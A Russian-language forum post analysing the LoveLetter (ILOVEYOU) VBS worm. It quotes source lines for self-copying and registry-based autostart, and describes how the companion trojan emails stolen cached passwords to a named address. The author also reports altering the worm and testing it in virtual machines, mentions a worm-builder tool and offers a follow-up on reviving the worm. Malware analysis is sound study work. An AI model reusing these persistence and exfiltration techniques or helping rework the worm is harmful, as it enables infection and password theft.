Если исследовать более глубоко, то его можно найти в папке windows, но уже под названием win32DLL.vbs и MSKernel32.vbs
, отличительная черта расширение vbs.

Как избавиться от этой напасти? Просто, проще некуда, их банально можно удалять и на этом все закончится, ну естественно некоторые данные уже не спасти.

Но оказалось не все так просто, ведь дело имеем мы уже с более новой версией. Для начала давайте исследуем сам файл, открыв его в редакторе кода.

Ну, первое, что бросилось мне в глаза - пути копирования и название файлов:
Bash:
rem Copy itself into VBScript files MSKernel32.vbs, Win32DLL.vbs and

  rem LOVE-LETTER-FOR-YOU.TXT.vbs

  c.Copy(dirsystem & "\MSKernel32.vbs")

  c.Copy(dirwin & "\Win32DLL.vbs")

  c.Copy(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs")


Затем этот умник регистрируется в реестре, чтобы запускаться при каждом запуске системы:
Код:
rem Set the system to automatically run MSKernel32.vbs and Win32DLL.vbs on startup.

  regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32", dirsystem & "\MSKernel32.vbs"

  regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL", dirwin & "\Win32DLL.vbs"

После этого наш зловред заменяет домашнюю страницу Internet Explorer ссылкой, указывающей на исполняемую программу «WIN-BUGSFIX.exe». Когда файл загружен, червь также добавляет его в реестр, дабы стиллер запустился при повторном запуске машины.

Исполняемая часть, которую LoveLetter, а именно таково его второе имя, загружает из Интернета, представляет собой троян-стиллер паролей.
Затем он проверяет наличие подраздела WinFAT32 в следующем ключе реестра:
Код:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Выполнить


Если подраздел WinFAT32 не найден, он создает его, копирует себя в каталог Windows\System\ как WINFAT32.exe и затем запускает файл из этого места.
Вышеуказанная модификация ключа реестра приводит к тому, что вор паролей становится активным каждый раз при запуске Windows. Затем троян устанавливает стартовую страницу Internet Explorer на «about:blank». После этого пытается найти и удалить следующие ключи в реестре:
Код:
Software\Microsoft\Windows\CurrentVersion\Policies\Network\HideSharePwds

Software\Microsoft\Windows\CurrentVersion\Policies\Network\DisablePwdCaching

.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Network\HideSharePwds

.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Network\DisablePwdCaching

Затем троянец регистрирует новый класс окна и создает скрытое окно с названием «BAROK...» и остается в памяти Windows как скрытое приложение. Сразу после запуска и когда счетчики таймера достигают определенных значений, троянец загружает MPR.DLL. библиотека, вызывает функцию WNetEnumCachedPasswords и отправляет украденные пароли RAS и все кэшированные пароли Windows на адрес электронной почты emailme@super.net.ph, который, скорее всего, принадлежит де… как там его имя… Де Гузману, во.
Троян использует почтовый сервер smtp.super.net.ph. ' для отправки электронных писем. Тема письма выглядит как: «Barok... email.passwords.sender.trojan». В теле самого .vbs скрипта есть сообщение об авторских правах.

Screenshot_8.png


Само распространение в IRC достаточно примитивное. Червь создает HTML-файл под названием «LOVE-LETTER-FOR-YOU.HTM» в системном каталоге Windows. Этот файл содержит в себе Loveletter.vbs , и он будет отправлен с помощью mIRC всякий раз, когда новый пользователь присоединится к IRC-каналу, где в настоящее время находится зараженный пользователь. Для этого червь заменяет файл "script.ini" из каталога установки mIRC.

Screenshot_9.png


В версии новее есть некоторые непонятные штуки, зачем-то после всех этих манипуляций происходит смена стартовой страницы браузера на сайт с приложением для знакомств, логично, что там какой-то троян или тому подобная пакость.

Затем я нашел строку, где указаны файлы с какими расширениями подлежат замене и мне стало интересно, что будет, если зашифровать .dll и .bat, если не ошибаюсь запуск 98-й винды с .bat тесно связан. Попробуем? Конечно.

Заменяем несколько значений, перезапускаем виртуальную машину и… Результат:
Screenshot_11.png


Он почему-то начал жаловаться на отсутствие памяти, ну и ладно.

Затем переходим к 7-рке, здесь я очень скептически на это смотрю, но попробовать стоит.

Screenshot_10.png


Жаль, что под рукой нет ХР, а качать лень.

Открываем. Результат достаточно странный, выдает сообщение об ошибке, а после и просто копирует на весь рабочий стол скрипт.

Виндовс 10 отказался запускать вовсе, никак не отреагировав.

А-а, кстати, нашел ещё один олдскул, что аж олдскулы свело - Apocalypse II. С помощью этой штуковины можно сделать что-то типа того же LoveLetter, но оно уже должно работать везде и будет иметь расширение .exe.

Для примера создадим что-то типа этого:

Screenshot_2.png


Итоги

И вот так вот обычный VBS скрипт распространился на 55 миллионов устройств по всему миру, Книга Рекордов, начало нулевых, остановленная работа целых компаний, та даже Пентагон - и все это о черве LoveLetter, поистине захватывающая история и интересная судьба Анеля де Гузмана.

Он мог работать в том же Майкрософте или Пентагоне, но он избрал путь наименьшего сопротивления. Не нам судить, но как по мне он потерял в своей жизни очень много шансов.

Как бы странно это не звучало, но если этот скрипт переделать слегка, он будет работать и по сей день, если вам интересно, то могу создать отдельную статью, где мы займемся переделкой этого легендарного червя, а после и запустим на небольшой тест.

Давно я не писал, и да.. Действительно чувствуется, что немного ослаб в этом деле, всему виной обстоятельства. Простите. А с вами был поствоенный парень с ником DeathDay и очередная писанина. Свидимся. Мира, жизни, любви всем.
 
Последнее редактирование модератором:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!